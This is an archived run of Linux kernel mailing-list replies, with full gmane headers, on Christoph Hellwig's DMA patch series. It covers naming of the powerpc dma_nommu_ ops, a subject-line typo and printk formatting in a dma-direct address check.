In-Reply-To: <CAMuHMdWYDz_jHNxQ-B8944520R-myzHkjkL1rKWUjA38inU7cw@mail.gmail.com>
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9837 gmane.linux.kernel.iommu:21969 gmane.linux.ports.mips.general:63109 gmane.linux.ports.ia64:28475 gmane.linux.ports.sh.devel:56133 gmane.linux.ports.sparc:27155 gmane.linux.kernel.cross-arch:40922 gmane.linux.ports.hexagon:1481 gmane.linux.kernel.arc:3256 gmane.linux.kernel.metag:1555 gmane.linux.ports.arm.kernel:623477 gmane.linux.ports.parisc:28154 gmane.linux.kernel:2656574 gmane.linux.ports.alpha:4637 gmane.linux.ports.ppc64.devel:151628
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9837>

Hi All,

On Wed, Jan 3, 2018 at 6:49 PM, Geert Uytterhoeven <geert@linux-m68k.org> wrote:
> Hi Michael,
>
> On Wed, Jan 3, 2018 at 7:24 AM, Michael Ellerman <mpe@ellerman.id.au> wrote:
>> Geert Uytterhoeven <geert@linux-m68k.org> writes:
>>
>>> On Tue, Jan 2, 2018 at 10:45 AM, Michael Ellerman <mpe@ellerman.id.au> wrote:
>>>> Christoph Hellwig <hch@lst.de> writes:
>>>>
>>>>> We want to use the dma_direct_ namespace for a generic implementation,
>>>>> so rename powerpc to the second best choice: dma_nommu_.
>>>>
>>>> I'm not a fan of "nommu". Some of the users of direct ops *are* using an
>>>> IOMMU, they're just setting up a 1:1 mapping once at init time, rather
>>>> than mapping dynamically.
>>>>
>>>> Though I don't have a good idea for a better name, maybe "1to1",
>>>> "linear", "premapped" ?
>>>
>>> "identity"?
>>
>> I think that would be wrong, but thanks for trying to help :)
>>
>> The address on the device side is sometimes (often?) offset from the CPU
>> address. So eg. the device can DMA to RAM address 0x0 using address
>> 0x800000000000000.
>>
>> Identity would imply 0 == 0 etc.
>>
>> I think "bijective" is the correct term, but that's probably a bit
>> esoteric.
>
> OK, didn't know about the offset.
> Then "linear" is what we tend to use, right?

If this is indeed a linear mapping, can we just remove this and
replace it with the new "generic" mapping being introduced by this
patchset?

Thanks,

-- 
Julian Calaby

Email: julian.calaby@gmail.com
Profile: http://www.google.com/profiles/julian.calaby/

From - Thu Nov 08 21:40:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: Re: [PATCH 17/67] microblaze: rename dma_direct to dma_microblaze
Date: Thu, 4 Jan 2018 09:45:33 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <20180104084533.GA3135@lst.de>
References: <20171229081911.2802-1-hch@lst.de> <20171229081911.2802-18-hch@lst.de> <CAGRGNgW1qwLcCAvU2Jc=3_7b-0Bu016to3cQUgVsc+ca0No_6g@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1515055420 30613 195.159.176.226 (4 Jan 2018 08:43:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 4 Jan 2018 08:43:40 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: Christoph Hellwig <hch@lst.de>, iommu@lists.linux-foundation.org,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        "Mailing List, Arm" <linux-arm-kernel@lists.infradead.org>,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux <sparclinux@vger.kernel.org>,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.or
To: Julian Calaby <julian.calaby@gmail.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Thu Jan 04 09:43:34 2018
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1eX17b-0006oX-Ie
	for glpm-linux-m68k@m.gmane.org; Thu, 04 Jan 2018 09:43:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751408AbeADIpf (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Thu, 4 Jan 2018 03:45:35 -0500
Original-Received: from verein.lst.de ([213.95.11.211]:48039 "EHLO newverein.lst.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751294AbeADIpe (ORCPT <rfc822;linux-m68k@lists.linux-m68k.org>);
        Thu, 4 Jan 2018 03:45:34 -0500
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
        id 1C05168C8A; Thu,  4 Jan 2018 09:45:33 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <CAGRGNgW1qwLcCAvU2Jc=3_7b-0Bu016to3cQUgVsc+ca0No_6g@mail.gmail.com>
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9838 gmane.linux.kernel.iommu:21970 gmane.linux.ports.alpha:4649 gmane.linux.kernel.arc:3258 gmane.linux.ports.arm.kernel:623689 gmane.linux.ports.hexagon:1482 gmane.linux.ports.ia64:28476 gmane.linux.kernel.metag:1556 gmane.linux.ports.mips.general:63117 gmane.linux.ports.parisc:28155 gmane.linux.ports.ppc64.devel:151654 gmane.linux.ports.sh.devel:56154 gmane.linux.ports.sparc:27161 gmane.linux.kernel.cross-arch:40972 gmane.linux.kernel:2657605
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9838>

On Fri, Dec 29, 2017 at 09:11:56PM +1100, Julian Calaby wrote:
> Hi Christoph,
> 
> On Fri, Dec 29, 2017 at 7:18 PM, Christoph Hellwig <hch@lst.de> wrote:
> > This frees the dma_direct_* namespace for a generic implementation.
> 
> Don't you mean "dma_nommu" not "dma_microblaze" in the subject line?

Yes, thanks.

From - Thu Nov 08 21:40:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 16/67] powerpc: rename dma_direct_ to dma_nommu_
Date: Thu, 4 Jan 2018 09:48:28 +0100
Lines: 7
Approved: news@gmane.org
Message-ID: <20180104084828.GA3251@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
	<20171229081911.2802-17-hch@lst.de>
	<878tdgtwzp.fsf@concordia.ellerman.id.au>
	<CAMuHMdWWus2kNSOzS94k-3678826W1YjKwCWTquu3hBLZ80cvw@mail.gmail.com>
	<87h8s3cvel.fsf@concordia.ellerman.id.au>
	<CAMuHMdWYDz_jHNxQ-B8944520R-myzHkjkL1rKWUjA38inU7cw@mail.gmail.com>
	<CAGRGNgV+DnZAAtiE5oe8rxp4=_JHJrtSQc8F5jrgN0rgYKfwjA@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515055596 6599 195.159.176.226 (4 Jan 2018 08:46:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 4 Jan 2018 08:46:36 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: Linux MIPS Mailing List <linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Linux-sh list <linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	sparclinux <sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>,
	Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>, Linux-Arch <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-s390 <linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>,
	the arch/x86 maintainers <x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>,
	Geert Uytterhoeven <geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org>,
	arcml <linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>,
	alpha <linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-m68k <linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org>, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	"open list:METAG ARCHITECTURE" <linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"Mailing List, Arm" <linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, Cris <linux-cris-kernel-VrBV9hrLPhE@public.gmane.org>,
	Parisc List <linux-parisc@vg
To: Julian Calaby <julian.calaby-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Thu Jan 04 09:46:30 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eX1AT-0001KZ-RK
	for glki-iommu@m.gmane.org; Thu, 04 Jan 2018 09:46:30 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 438FB8D4;
	Thu,  4 Jan 2018 08:48:32 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id C646872A
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Thu,  4 Jan 2018 08:48:30 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from newverein.lst.de (verein.lst.de [213.95.11.211])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 5733FE0
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Thu,  4 Jan 2018 08:48:30 +0000 (UTC)
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
	id 98A2768C8A; Thu,  4 Jan 2018 09:48:28 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <CAGRGNgV+DnZAAtiE5oe8rxp4=_JHJrtSQc8F5jrgN0rgYKfwjA-JsoAwUIsXosN+BqQ9rBEUg@public.gmane.org>
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:21971 gmane.linux.ports.mips.general:63118 gmane.linux.ports.ia64:28477 gmane.linux.ports.sh.devel:56155 gmane.linux.ports.sparc:27162 gmane.linux.kernel.cross-arch:40973 gmane.linux.kernel.arc:3259 gmane.linux.ports.alpha:4650 gmane.linux.kernel.metag:1557 gmane.linux.ports.arm.kernel:623690 gmane.linux.ports.parisc:28156 gmane.linux.kernel:2657607 gmane.linux.ports.hexagon:1483 gmane.linux.ports.ppc64.devel:151655
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/21971>

On Wed, Jan 03, 2018 at 07:19:46PM +1100, Julian Calaby wrote:
> If this is indeed a linear mapping, can we just remove this and
> replace it with the new "generic" mapping being introduced by this
> patchset?

That is the long-term plan.  But as the powerpc one includes support
for non-coherent DMA it will have to wait for the next batch.

From - Thu Nov 08 21:40:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.hexagon,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 16/67] powerpc: rename dma_direct_ to dma_nommu_
Date: Thu, 4 Jan 2018 09:49:30 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20180104084930.GB3251@lst.de>
References: <20171229081911.2802-1-hch@lst.de> <20171229081911.2802-17-hch@lst.de> <878tdgtwzp.fsf@concordia.ellerman.id.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1515055660 20462 195.159.176.226 (4 Jan 2018 08:47:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 4 Jan 2018 08:47:40 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: Christoph Hellwig <hch@lst.de>, iommu@lists.linux-foundation.org,
        linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, linux-arch@vger.kernel.org,
        linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, x86@kernel.org,
        linux-snps-arc@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
        linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
        linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: Michael Ellerman <mpe@ellerman.id.au>
Original-X-From: linux-hexagon-owner@vger.kernel.org Thu Jan 04 09:47:34 2018
Return-path: <linux-hexagon-owner@vger.kernel.org>
Envelope-to: glphk-linux-hexagon@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-hexagon-owner@vger.kernel.org>)
	id 1eX1BW-0001dy-1O
	for glphk-linux-hexagon@m.gmane.org; Thu, 04 Jan 2018 09:47:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751378AbeADItd (ORCPT <rfc822;glphk-linux-hexagon@m.gmane.org>);
        Thu, 4 Jan 2018 03:49:33 -0500
Original-Received: from verein.lst.de ([213.95.11.211]:48088 "EHLO newverein.lst.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751294AbeADItc (ORCPT <rfc822;linux-hexagon@vger.kernel.org>);
        Thu, 4 Jan 2018 03:49:32 -0500
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
        id 5F40868C8A; Thu,  4 Jan 2018 09:49:30 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <878tdgtwzp.fsf@concordia.ellerman.id.au>
Original-Sender: linux-hexagon-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-hexagon.vger.kernel.org>
X-Mailing-List: linux-hexagon@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.hexagon:1484 gmane.linux.kernel.iommu:21972 gmane.linux.ports.mips.general:63119 gmane.linux.ports.ia64:28478 gmane.linux.ports.sh.devel:56156 gmane.linux.ports.sparc:27163 gmane.linux.kernel.cross-arch:40974 gmane.linux.kernel.arc:3260 gmane.linux.kernel.metag:1558 gmane.linux.ports.arm.kernel:623691 gmane.linux.ports.parisc:28157 gmane.linux.kernel:2657608 gmane.linux.ports.alpha:4651 gmane.linux.ports.ppc64.devel:151656
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.hexagon/1484>

On Tue, Jan 02, 2018 at 08:45:30PM +1100, Michael Ellerman wrote:
> Christoph Hellwig <hch@lst.de> writes:
> 
> > We want to use the dma_direct_ namespace for a generic implementation,
> > so rename powerpc to the second best choice: dma_nommu_.
> 
> I'm not a fan of "nommu". Some of the users of direct ops *are* using an
> IOMMU, they're just setting up a 1:1 mapping once at init time, rather
> than mapping dynamically.
> 
> Though I don't have a good idea for a better name, maybe "1to1",
> "linear", "premapped" ?

It seems like a nice counter part to the dma_iommu_ops used just about
anywhere else in ppc.

But I'll happily take any maintainer bike shed decision for the next
series.  Remember that in a merge window or two it will hopefully
go away in favor of the new generic dma_direct ops.

From - Thu Nov 08 21:40:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 27/67] dma-direct: add dma address sanity checks
Date: Thu, 4 Jan 2018 09:52:05 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20180104085205.GC3251@lst.de>
References: <20171229081911.2802-1-hch@lst.de> <20171229081911.2802-28-hch@lst.de> <CAMuHMdWg3PnTXezMCcr3oGf-83-cjvcj4wGiPk7j2pY1Tgzo9Q@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1515055817 26739 195.159.176.226 (4 Jan 2018 08:50:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 4 Jan 2018 08:50:17 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: Christoph Hellwig <hch@lst.de>, iommu@lists.linux-foundation.org,
        Linux MIPS Mailing List <linux-mips@linux-mips.org>,
        linux-ia64@vger.kernel.org,
        Linux-sh list <linux-sh@vger.kernel.org>,
        sparclinux <sparclinux@vger.kernel.org>,
        Guan Xuetao <gxt@mprc.pku.edu.cn>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        linux-s390 <linux-s390@vger.kernel.org>,
        linux-c6x-dev@linux-c6x.org,
        "open list:QUALCOMM HEXAGON..." <linux-hexagon@vger.kernel.org>,
        the arch/x86 maintainers <x86@kernel.org>,
        arcml <linux-snps-arc@lists.infradead.org>,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-m68k <linux-m68k@lists.linux-m68k.org>,
        patches@groups.riscv.org,
        "open list:METAG ARCHITECTURE" <linux-metag@vger.kernel.org>,
        linux-arm-kernel@lists.infradead.org,
        Michal Simek <mon
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-m68k-owner@vger.kernel.org Thu Jan 04 09:50:11 2018
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1eX1Dv-0005DS-Ki
	for glpm-linux-m68k@m.gmane.org; Thu, 04 Jan 2018 09:50:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751441AbeADIwH (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Thu, 4 Jan 2018 03:52:07 -0500
Original-Received: from verein.lst.de ([213.95.11.211]:48135 "EHLO newverein.lst.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751294AbeADIwG (ORCPT <rfc822;linux-m68k@lists.linux-m68k.org>);
        Thu, 4 Jan 2018 03:52:06 -0500
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
        id 5C80568C8A; Thu,  4 Jan 2018 09:52:05 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <CAMuHMdWg3PnTXezMCcr3oGf-83-cjvcj4wGiPk7j2pY1Tgzo9Q@mail.gmail.com>
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9841 gmane.linux.kernel.iommu:21973 gmane.linux.ports.mips.general:63120 gmane.linux.ports.ia64:28479 gmane.linux.ports.sh.devel:56157 gmane.linux.ports.sparc:27164 gmane.linux.kernel.cross-arch:40975 gmane.linux.ports.hexagon:1485 gmane.linux.kernel.arc:3261 gmane.linux.kernel.metag:1559 gmane.linux.ports.arm.kernel:623692 gmane.linux.ports.parisc:28158 gmane.linux.kernel:2657609 gmane.linux.ports.alpha:4652 gmane.linux.ports.ppc64.devel:151657
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9841>

On Fri, Dec 29, 2017 at 03:12:25PM +0100, Geert Uytterhoeven wrote:
> > +check_addr(struct device *dev, dma_addr_t dma_addr, size_t size,
> > +               const char *caller)
> > +{
> > +       if (unlikely(dev && !dma_capable(dev, dma_addr, size))) {
> > +               if (*dev->dma_mask >= DMA_BIT_MASK(32)) {
> > +                       dev_err(dev,
> > +                               "%s: overflow %llx+%zu of device mask %llx\n",
> 
> Please use "%pad" to format dma_addr_t ...
> 
> > +                               caller, (long long)dma_addr, size,
> 
> ... and use &dma_addr.
> 
> > +                               (long long)*dev->dma_mask);
> 
> This cast is not needed, as u64 is unsigned long long in kernelspace on
> all architectures.

Thanks, fixed.

From - Thu Nov 08 21:40:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: Re: [PATCH 02/67] alpha: mark jensen as broken
Date: Thu, 4 Jan 2018 09:53:15 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20180104085315.GD3251@lst.de>
References: <20171229081911.2802-1-hch@lst.de> <20171229081911.2802-3-hch@lst.de> <CAMuHMdUXSMuQ=RoZp86CODVk5Ubd3R+jtqOur_Uqnu+7h_m9AA@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1515055884 10106 195.159.176.226 (4 Jan 2018 08:51:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 4 Jan 2018 08:51:24 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: Christoph Hellwig <hch@lst.de>, iommu@lists.linux-foundation.org,
        alpha <linux-alpha@vger.kernel.org>,
        arcml <linux-snps-arc@lists.infradead.org>,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, Cris <linux-cris-kernel@axis.com>,
        "open list:QUALCOMM HEXAGON..." <linux-hexagon@vger.kernel.org>,
        linux-ia64@vger.kernel.org,
        linux-m68k <linux-m68k@lists.linux-m68k.org>,
        "open list:METAG ARCHITECTURE" <linux-metag@vger.kernel.org>,
        Michal Simek <monstr@monstr.eu>,
        Linux MIPS Mailing List <linux-mips@linux-mips.org>,
        Parisc List <linux-parisc@vger.kernel.org>,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390 <linux-s390@vger.kernel.org>,
        Linux-sh list <linux-sh@vger.kernel.org>,
        sparc
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Thu Jan 04 09:51:18 2018
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1eX1F6-00012E-Au
	for glpi-linux-ia64-2@m.gmane.org; Thu, 04 Jan 2018 09:51:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752185AbeADIxT (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Thu, 4 Jan 2018 03:53:19 -0500
Original-Received: from verein.lst.de ([213.95.11.211]:48164 "EHLO newverein.lst.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752188AbeADIxS (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
        Thu, 4 Jan 2018 03:53:18 -0500
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
        id C2D1968C8A; Thu,  4 Jan 2018 09:53:15 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <CAMuHMdUXSMuQ=RoZp86CODVk5Ubd3R+jtqOur_Uqnu+7h_m9AA@mail.gmail.com>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
